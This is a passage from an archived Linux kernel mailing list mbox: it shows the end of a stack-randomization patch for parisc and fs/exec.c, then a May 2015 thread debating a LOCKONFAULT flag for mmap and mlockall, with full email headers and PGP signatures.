 #define arch_randomize_brk arch_randomize_brk
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index e1ffea2..5aba01a 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -77,6 +77,9 @@ static unsigned long mmap_upper_limit(void)
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
 
diff --git a/fs/exec.c b/fs/exec.c
index 49a1c61..1977c2a 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -659,6 +659,9 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Mon, 11 May 2015 17:05:33 -0400
Lines: 73
Approved: news@gmane.org
Message-ID: <20150511210533.GB1227@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150508200610.GB29933@akamai.com>
 <20150508131523.f970d13a213bca63bd6f2619@linux-foundation.org>
 <20150511143618.GA30570@akamai.com>
 <20150511121204.2af73429ad3c29b6d67f1345@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="TRYliJ5NKNqkz5bu"
X-Trace: ger.gmane.org 1431378347 11112 80.91.229.3 (11 May 2015 21:05:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 May 2015 21:05:47 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon May 11 23:05:45 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1YrutS-0005pT-AO
	for glka-linux-arch@plane.gmane.org; Mon, 11 May 2015 23:05:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932284AbbEKVFj (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 11 May 2015 17:05:39 -0400
Original-Received: from prod-mail-xrelay07.akamai.com ([72.246.2.115]:35537 "EHLO
	prod-mail-xrelay07.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932278AbbEKVFf (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 11 May 2015 17:05:35 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 2992147D07;
	Mon, 11 May 2015 21:05:34 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 00D7947CF3;
	Mon, 11 May 2015 21:05:34 +0000 (GMT)
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id EF0C18005F;
	Mon, 11 May 2015 21:05:33 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150511121204.2af73429ad3c29b6d67f1345@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:27640 gmane.linux.ports.alpha:3072 gmane.linux.kernel:1950827 gmane.linux.ports.mips.general:48485 gmane.linux.ports.parisc:25728 gmane.linux.ports.ppc64.devel:112842 gmane.linux.ports.sparc:21023 gmane.linux.kernel.mm:132554 gmane.linux.kernel.api:10917
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/27640>


--TRYliJ5NKNqkz5bu
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 11 May 2015, Andrew Morton wrote:

> On Mon, 11 May 2015 10:36:18 -0400 Eric B Munson <emunson@akamai.com> wro=
te:
>=20
> > On Fri, 08 May 2015, Andrew Morton wrote:
> > ...
> >
> > >=20
> > > Why can't the application mmap only those parts of the file which it
> > > wants and mlock those?
> >=20
> > There are a number of problems with this approach.  The first is it
> > presumes the program will know what portions are needed a head of time.
> > In many cases this is simply not true.  The second problem is the number
> > of syscalls required.  With my patches, a single mmap() or mlockall()
> > call is needed to setup the required locking.  Without it, a separate
> > mmap call must be made for each piece of data that is needed.  This also
> > opens up problems for data that is arranged assuming it is contiguous in
> > memory.  With the single mmap call, the user gets a contiguous VMA
> > without having to know about it.  mmap() with MAP_FIXED could address
> > the problem, but this introduces a new failure mode of your map
> > colliding with another that was placed by the kernel.
> >=20
> > Another use case for the LOCKONFAULT flag is the security use of
> > mlock().  If an application will be using data that cannot be written
> > to swap, but the exact size is unknown until run time (all we have a
> > build time is the maximum size the buffer can be).  The LOCKONFAULT flag
> > allows the developer to create the buffer and guarantee that the
> > contents are never written to swap without ever consuming more memory
> > than is actually needed.
>=20
> What application(s) or class of applications are we talking about here?
>=20
> IOW, how generally applicable is this?  It sounds rather specialized.
>=20

For the example of a large file, this is the usage pattern for a large
statical language model (probably applies to other statical or graphical
models as well).  For the security example, any application transacting
in data that cannot be swapped out (credit card data, medical records,
etc).


--TRYliJ5NKNqkz5bu
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVURmdAAoJELbVsDOpoOa9a0MP/2y5c7mdKE8qXiCYEBHY1vPr
mMYr1mBF5plc21zbajP8EsFs+Ld/CdtHlmeYYS8WajfsgNYeC8/0agAzYVfJFsFP
/wCPq8eC9v1kO+bl76ysR3eHpQ1vNFPwFlRfIJmKmoeA/0QJZESjuZKXbLyWCIbh
fUft9fDVrTiKmIIPA+xU/LQBTJJG3JxM31EW0npZ5czeW82djBf1U4rqJuOJ/DFr
yRFC6Ja9JRcamqDDlwnh2sI1GAT0xzWAr2dVYFEWLuin+zUAST0ByOvirtVW+Te3
Tkd+VZ5D913uj32bJnSPFBR+XkKpXkmG2oH/bskpHi2f0IJOHq8Rwae5ONlsR3HG
9ehYZk5j6XMi8p4zc77Gz4RrzOpzJWnQCtiwP0tRsCWwYDUzUtkt89I/jEp7ng/U
vsV4QocVqk8cbmAj4kJ6lK1CSstR4vi1/kjdvnMiu0iHTMc7k/ZIguZaz4nmzq0j
WDYnr87YYuOK5rPRR1U0zFHzsdC6rdcx9o5LQaEM7JUBm5Jg1aaC0ZPgs4kbzBtv
iSPfAOjCtCetUfLF5rH+qEy06emMTxOTGXuEk1ozb+q/zm0C5cE6DrSOUabBfg8V
QGAlOxZUcFQIBKgYNbhblA+edUvEL9aglNMl+91CDzk6CkNp35K2UnEk1LM4Bqqn
mYcyYlFfiVQqWLOBBiX5
=Su4z
-----END PGP SIGNATURE-----

--TRYliJ5NKNqkz5bu--

From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@suse.cz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Wed, 13 May 2015 15:58:05 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20150513135805.GA17708@dhcp22.suse.cz>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150508200610.GB29933@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1431525501 24761 80.91.229.3 (13 May 2015 13:58:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 May 2015 13:58:21 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed May 13 15:58:15 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1YsXAr-0007IE-Qk
	for lnx-linux-alpha@plane.gmane.org; Wed, 13 May 2015 15:58:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934385AbbEMN6L (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 13 May 2015 09:58:11 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:53726 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934118AbbEMN6J (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Wed, 13 May 2015 09:58:09 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id CE24AABE6;
	Wed, 13 May 2015 13:58:06 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20150508200610.GB29933@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3079 gmane.linux.kernel:1952588 gmane.linux.ports.mips.general:48523 gmane.linux.ports.parisc:25729 gmane.linux.ports.ppc64.devel:112943 gmane.linux.ports.sparc:21024 gmane.linux.kernel.mm:132653 gmane.linux.kernel.cross-arch:27698 gmane.linux.kernel.api:11037
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3079>

On Fri 08-05-15 16:06:10, Eric B Munson wrote:
> On Fri, 08 May 2015, Andrew Morton wrote:
> 
> > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.com> wrote:
> > 
> > > mlock() allows a user to control page out of program memory, but this
> > > comes at the cost of faulting in the entire mapping when it is
> > > allocated.  For large mappings where the entire area is not necessary
> > > this is not ideal.
> > > 
> > > This series introduces new flags for mmap() and mlockall() that allow a
> > > user to specify that the covered are should not be paged out, but only
> > > after the memory has been used the first time.
> > 
> > Please tell us much much more about the value of these changes: the use
> > cases, the behavioural improvements and performance results which the
> > patchset brings to those use cases, etc.
> > 
> 
> The primary use case is for mmaping large files read only.  The process
> knows that some of the data is necessary, but it is unlikely that the
> entire file will be needed.  The developer only wants to pay the cost to
> read the data in once.  Unfortunately developer must choose between
> allowing the kernel to page in the memory as needed and guaranteeing
> that the data will only be read from disk once.  The first option runs
> the risk of having the memory reclaimed if the system is under memory
> pressure, the second forces the memory usage and startup delay when
> faulting in the entire file.

Is there any reason you cannot do this from the userspace? Start by
mmap(PROT_NONE) and do mmap(MAP_FIXED|MAP_LOCKED|MAP_READ|other_flags_you_need)
from the SIGSEGV handler?
You can generate a lot of vmas that way but you can mitigate that to a
certain level by mapping larger than PAGE_SIZE chunks in the fault
handler. Would that work in your usecase?
-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Wed, 13 May 2015 10:14:42 -0400
Lines: 97
Approved: news@gmane.org
Message-ID: <20150513141442.GC1227@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150508200610.GB29933@akamai.com>
 <20150513135805.GA17708@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="LwW0XdcUbUexiWVK"
X-Trace: ger.gmane.org 1431526507 10839 80.91.229.3 (13 May 2015 14:15:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 May 2015 14:15:07 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: owner-linux-mm@kvack.org Wed May 13 16:14:51 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YsXQs-00070b-2p
	for glkm-linux-mm-2@m.gmane.org; Wed, 13 May 2015 16:14:46 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 991306B0038; Wed, 13 May 2015 10:14:44 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 968C16B006C; Wed, 13 May 2015 10:14:44 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 87E946B006E; Wed, 13 May 2015 10:14:44 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f45.google.com (mail-pa0-f45.google.com [209.85.220.45])
	by kanga.kvack.org (Postfix) with ESMTP id 480786B0038
	for <linux-mm@kvack.org>; Wed, 13 May 2015 10:14:44 -0400 (EDT)
Original-Received: by pabsx10 with SMTP id sx10so51998663pab.3
        for <linux-mm@kvack.org>; Wed, 13 May 2015 07:14:44 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=V7c+H2PCMbZQ2PcRt43UvDe5bWYgYYgUOwJTDz68CrA=;
        b=Yomt0eGFixbOFb6JglEpvx8yQaj1T59tj4cE2RFfg0dcWRaWcwwwWjKgbRZu7QXGYh
         yEZgj7TqcO07RtGUnuR4my0lAIn7zTRqe1+0jXgX/b03YfDDrD6Gf6H2MsFnFTWDXHxq
         uFUka/Gx+WYPVtqylJiRCJzqs7tnI+Sj689EUBf6evZUb8ZjxKm6Uc6aLHQxSXa8eDFC
         9/ZI+Ltd0/MlskJiTdM3H6xjwZfD7XlCC1QgMMxMo5TM9pT6O2Cj1NbmbF7s25Bfx4uq
         EkU58GlS4CvG8+Drg+ARJvSqz/YEiUkJDh73WlrIOvH6Hded693Y1qOYoE7ohcoAxxFk
         Tz+A==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQk8pvEPJ21LVz+qJm7faxrpOlS6eOqcLadVCjjTW880EA1ZgRmKtdA8bENsTRmpz3WkUFKiWgOergAtne1vPhVxaine+i2ywoI4vyekvXlJQPtvY/Ez8hYJU7GU8sZ9G/DOVo6BsBiEa/k++LxcXRa/l3TUx6LJfxEsXVIUpp8SAXEQD0KvNiEyoF8MFXXZo2HXyi6c
X-Received: by 10.70.90.231 with SMTP id bz7mr37454967pdb.15.1431526484001;
        Wed, 13 May 2015 07:14:44 -0700 (PDT)
X-Received: by 10.70.90.231 with SMTP id bz7mr37454872pdb.15.1431526483344;
        Wed, 13 May 2015 07:14:43 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id gc5si19362503pac.51.2015.05.13.07.14.42
        for <linux-mm@kvack.org>;
        Wed, 13 May 2015 07:14:43 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 6E0E8286A7;
	Wed, 13 May 2015 14:14:42 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 45494286A0;
	Wed, 13 May 2015 14:14:42 +0000 (GMT)
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 3EAEF800A8;
	Wed, 13 May 2015 14:14:42 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150513135805.GA17708@dhcp22.suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:132655 gmane.linux.ports.alpha:3080 gmane.linux.kernel:1952614 gmane.linux.ports.mips.general:48524 gmane.linux.ports.parisc:25730 gmane.linux.ports.ppc64.devel:112946 gmane.linux.ports.sparc:21025 gmane.linux.kernel.cross-arch:27700 gmane.linux.kernel.api:11039
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/132655>


--LwW0XdcUbUexiWVK
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 13 May 2015, Michal Hocko wrote:

> On Fri 08-05-15 16:06:10, Eric B Munson wrote:
> > On Fri, 08 May 2015, Andrew Morton wrote:
> >=20
> > > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.com>=
 wrote:
> > >=20
> > > > mlock() allows a user to control page out of program memory, but th=
is
> > > > comes at the cost of faulting in the entire mapping when it is
> > > > allocated.  For large mappings where the entire area is not necessa=
ry
> > > > this is not ideal.
> > > >=20
> > > > This series introduces new flags for mmap() and mlockall() that all=
ow a
> > > > user to specify that the covered are should not be paged out, but o=
nly
> > > > after the memory has been used the first time.
> > >=20
> > > Please tell us much much more about the value of these changes: the u=
se
> > > cases, the behavioural improvements and performance results which the
> > > patchset brings to those use cases, etc.
> > >=20
> >=20
> > The primary use case is for mmaping large files read only.  The process
> > knows that some of the data is necessary, but it is unlikely that the
> > entire file will be needed.  The developer only wants to pay the cost to
> > read the data in once.  Unfortunately developer must choose between
> > allowing the kernel to page in the memory as needed and guaranteeing
> > that the data will only be read from disk once.  The first option runs
> > the risk of having the memory reclaimed if the system is under memory
> > pressure, the second forces the memory usage and startup delay when
> > faulting in the entire file.
>=20
> Is there any reason you cannot do this from the userspace? Start by
> mmap(PROT_NONE) and do mmap(MAP_FIXED|MAP_LOCKED|MAP_READ|other_flags_you=
_need)
> from the SIGSEGV handler?
> You can generate a lot of vmas that way but you can mitigate that to a
> certain level by mapping larger than PAGE_SIZE chunks in the fault
> handler. Would that work in your usecase?

This might work for the use cases I have laid out (I am not sure about
the anonymous mmap one, but I will try it).  I am concerned about how
much memory management policy these suggestions push into userspace.
I am also concerned about the number of system calls required to do the
same thing.  This will require a new call to mmap() for every new page
accessed in the file (or for every file_size/map_size in the multiple
page chunk).  The simple case of calling mlock() on the every time the
file was accessed was significantly slower than the LOCKONFAULT flag.
Your suggestion will be better in that it avoids the extra mlock call
for pages already locked, but there still significantly more system
calls.  I will add this to the program I have been using to measure
executuion times and see how it compares to the other options.

Eric


--LwW0XdcUbUexiWVK
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVU1xSAAoJELbVsDOpoOa9ST0QALjeZMUC+/sOsLGgTFLfO0x9
u6Bh2+sOR/Uba5bSaP4rYLlsfWGTD++9R3fV2yZJ9gQKGZaDm7fZOZXbaoQhjZLL
/XwF6jnPyknimsgIMrqRf6j9RJQvJjl3ruRheA0W690BAPkBV6R40Bu6UW0X/7vx
wMWR+3cLg5uJ80N1xxNVh2KkBezWtRKjfAueqMdIPcrXBz80xN8dnA0fdkN2Wpnp
4CwbcYSg87W2/v0sdyiBrgIKca73Ic1/o7mv6O5isxViwd983SzKr1qn+FXAPTJc
R66It0tG7mmZ/kIDVrCOXZY0Fme6WiK0wiImxXNZifjDkDo5Pko1Ng+MjJehyYhL
Z/S4xy6jcQD++Ih2B95iAilK/8ZzP9mja8Wo6dhN+l/AlQdvSINULfXgi+9BnngY
zMMUXGOEwIGAkxHWqh8iGTb7gjy7iPWTqqb06soQFq2Ol8uzFQpwEnKV1pCZG3PO
+Wp7oqGZraI5ckiw6M4+6auXWjOgcU2Uvf+82vCRbC1/8VHHEnN088fr9+f9wSBP
TG2JO08lQTGIF1VvwYqfEsnWRvez+CQwr+sVIs1VXqvDiS694RZlT2FHLK/6USoF
vn8WmBMJDissA3A0jgn9zIaTq393K27pFuc96zAsI4LYMLEZguYlkPT148GRJoXO
bjOom+hb4Q4khMm9zqtk
=Hfxi
-----END PGP SIGNATURE-----

--LwW0XdcUbUexiWVK--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Wed, 13 May 2015 11:00:36 -0400
Lines: 89
Approved: news@gmane.org
Message-ID: <20150513150036.GG1227@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150511180631.GA1227@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="df+09Je9rNq3P+GE"
X-Trace: ger.gmane.org 1431529251 27961 80.91.229.3 (13 May 2015 15:00:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 May 2015 15:00:51 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: owner-linux-mm@kvack.org Wed May 13 17:00:41 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YsY9I-00030o-91
	for glkm-linux-mm-2@m.gmane.org; Wed, 13 May 2015 17:00:40 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id BEA786B0038; Wed, 13 May 2015 11:00:38 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B9BD26B006C; Wed, 13 May 2015 11:00:38 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A8AC16B006E; Wed, 13 May 2015 11:00:38 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pd0-f174.google.com (mail-pd0-f174.google.com [209.85.192.174])
	by kanga.kvack.org (Postfix) with ESMTP id 69AA36B0038
	for <linux-mm@kvack.org>; Wed, 13 May 2015 11:00:38 -0400 (EDT)
Original-Received: by pdea3 with SMTP id a3so54110106pde.3
        for <linux-mm@kvack.org>; Wed, 13 May 2015 08:00:38 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=5ALmKnROp6xmymWJXmdldoSQlP7/mCpxQPMp4aTboHg=;
        b=ZLTk1HlDbtkQOp1wF8Dsk1ewf+4/RU5Yn/Yk00+MOHboKLjA0umHcV4oZ0F58WBJp2
         igVOSS1xXmE03hdp3BAJJJLK4EW+giEQYTTGXQvnSAUXTX4rPEbguCUiz9MJO01D7L3K
         yEDAVSr1iGmdN5zRPIf+0tEShT+7IG0QI0ps6TcBYx2nJwpaWVbsS2ny6CDK7CNgi0J0
         uaQhRPXfQ7wMs/HazMIzwcxdfCp6sofK7Nc1taDMccReDczmqICJ5LzKqBCQUSF6O6n7
         5H5RjHpoPveeYExp8jSDzJhtKoKtgNg5mvcDbz+R3VeItwYbo7sdwN2icQmBKwAFx5jc
         riog==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
